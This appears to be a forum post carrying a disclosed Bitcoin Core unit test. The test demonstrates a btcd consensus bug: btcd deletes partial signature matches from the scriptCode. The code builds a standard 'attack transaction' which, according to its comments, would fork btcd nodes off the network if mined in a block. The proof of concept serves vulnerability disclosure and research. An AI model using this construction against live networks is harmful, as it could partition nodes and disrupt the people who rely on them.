Finally getting back to this another 5 months later. Here is the documented Bitcoin Core unit test that was sent as part of the report. It can be ran against Core v27.0
and generates a transaction that would be valid according to Bitcoin Core but not according to Btcd.
// Copyright (c) 2024 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <boost/test/unit_test.hpp>
#include <chainparams.h>
#include <core_io.h>
#include <script/interpreter.h>
#include <secp256k1.h>
#include <secp256k1_recovery.h>
#include <test/util/setup_common.h>
#include <util/strencodings.h>
#include <validation.h>
BOOST_AUTO_TEST_SUITE(btcd_fad)
/**
* Demonstration of a consensus bug in btcd, a Go reimplementation of Bitcoin.
*
* This is joint work with Niklas Gögge.
*
* The purpose of this test is to demonstrate that the implementation of
* FindAndDelete in btcd (removeOpcodeData) differs from Bitcoin Core. One
* difference is how btcd will drop any data push from the scriptCode that
* contains the signature being validated, whereas Core will only drop data
* pushes that are exact matches. This is the bug chosen for this demonstration
* (there may be others).
*
* To produce a consensus split, we need a signature that would be accepted by
* Bitcoin Core but not by btcd (or vice-versa). This test demostrates how to
* construct a set of standard transactions containing such a signature.
*
* First we create a preparation transaction that creates a P2SH output with
* the following redeemScript: `OP_CHECKSIGVERIFY <x||dummy_sig>` (the exact
* value for "x" is irrelevant). "dummy_sig" is a signature that was randomly
* generated (the exact signature used is also irrelevant as long as it is
* properly encoded).
*
* Second we create an attack transaction that spends the preparation
* scriptPubKey. It's scriptSig is the following:
* `<dummy_sig> <pubkey> <redeemScript>`. We derive the pubkey from "dummy_sig"
* and the signature hash (redeemScript is used as the scriptCode for the
* sighash).
*
* The crux here is that btcd will drop the `<x||dummy_sig>` data push when
* evaluating the redeemScript while Bitcoin Core will not. btcd arrives at a
* different signature hash which makes the signature check fail. A block
* containing the attack transaction would fork btcd nodes from the network.
*/
BOOST_FIXTURE_TEST_CASE(btcd_fad, BasicTestingSetup)
{
// We always create 0-value outputs.
const CAmount txouts_value{0};
// Create a small DER-encoded dummy sig. We later use it in combination with
// the sighash to derive a matching pubkey.
const auto dummy_sig{ParseHex("300602010102010101")};
// As previously mentioned btcd will drop partial matches from the scriptCode,
// so we create a piece of data that contains the dummy sig.
const auto dummy_sig_pushed{ParseHex("09300602010102010101")};
// Create the preparation transaction, which pays to a P2SH scriptPubKey.
// The redeemScript is a simple OP_CHECKSIGVERIFY followed by the data that
// contains the dummy sig.
const auto redeem_script{CScript() << OP_CHECKSIGVERIFY << dummy_sig_pushed};
const auto prep_spk{CScript() << OP_HASH160 << ToByteVector(Hash160(redeem_script)) << OP_EQUAL};
CMutableTransaction prep_tx;
prep_tx.vout.emplace_back(CTxOut{0, prep_spk});
prep_tx.vin.emplace_back(CTxIn{{Txid{}, 0}});
// Create the transaction that would trigger the hard fork by spending from
// the preparation tx. We use a placeholder for the scriptSig which we'll
// later replace with the dummy sig, pubkey and redeemScript, but first we
// need to actually recover the public key.
CMutableTransaction attack_tx;
attack_tx.vout.emplace_back(CTxOut{0, CScript() << OP_TRUE});
attack_tx.vin.emplace_back(CTxIn{COutPoint{prep_tx.GetHash(), 0}, /*scriptSigIn=*/CScript() << OP_TRUE});
// First step toward recovering the public key: compute the sighash using
// the redeemScript.
//
// Note: this is where things go wrong for btcd because it will drop the
// data push (dummy_sig_pushed) that contains the sig from the script code
// and therefore arive at a different sighash.
const auto sighash{SignatureHash(redeem_script, attack_tx, 0, SIGHASH_ALL, 0, SigVersion::BASE)};
// Now dance around the secp256k1 types and formats to recover a public key
// valid for this signature and sighash.
std::vector<unsigned char> pubkey(33);
secp256k1_pubkey secp_pubkey;
std::vector<unsigned char> compact_dummy_sig(64);
secp256k1_ecdsa_recoverable_signature recoverable_dummy_sig;
secp256k1_ecdsa_signature secp_dummy_sig;
secp256k1_context* secp_ctx = Assert(secp256k1_context_create(SECP256K1_CONTEXT_NONE));
assert(secp256k1_ecdsa_signature_parse_der(secp_ctx, &secp_dummy_sig, dummy_sig.data(), dummy_sig.size() - 1) == 1);
assert(secp256k1_ecdsa_signature_serialize_compact(secp_ctx, compact_dummy_sig.data(), &secp_dummy_sig) == 1);
assert(secp256k1_ecdsa_recoverable_signature_parse_compact(secp_ctx, &recoverable_dummy_sig, compact_dummy_sig.data(), 0) == 1);
assert(secp256k1_ecdsa_recover(secp_ctx, &secp_pubkey, &recoverable_dummy_sig, sighash.data()) == 1);
size_t _unused_pk_size{33};
assert(secp256k1_ec_pubkey_serialize(secp_ctx, pubkey.data(), &_unused_pk_size, &secp_pubkey, SECP256K1_EC_COMPRESSED) == 1);
secp256k1_context_destroy(secp_ctx);
// We got a valid pubkey. Push the sig and the pubkey onto the scriptSig of
// the attack transaction to satisfy the CHECKSIGVERIFY in the redeemScript.
CScript script_sig;
script_sig << dummy_sig
<< pubkey
<< std::vector<unsigned char>{redeem_script.begin(), redeem_script.end()};
attack_tx.vin[0].scriptSig = script_sig;
// The scriptSig of the attack tx must verify against the scriptPubKey of
// the preparation tx.
//
// Note: This attack does not require non-standard transactions.
unsigned int flags{STANDARD_SCRIPT_VERIFY_FLAGS};
assert(VerifyScript(script_sig, prep_spk, nullptr, flags, MutableTransactionSignatureChecker(&attack_tx, 0, txouts_value, MissingDataBehavior::ASSERT_FAIL)));
}
BOOST_AUTO_TEST_SUITE_END()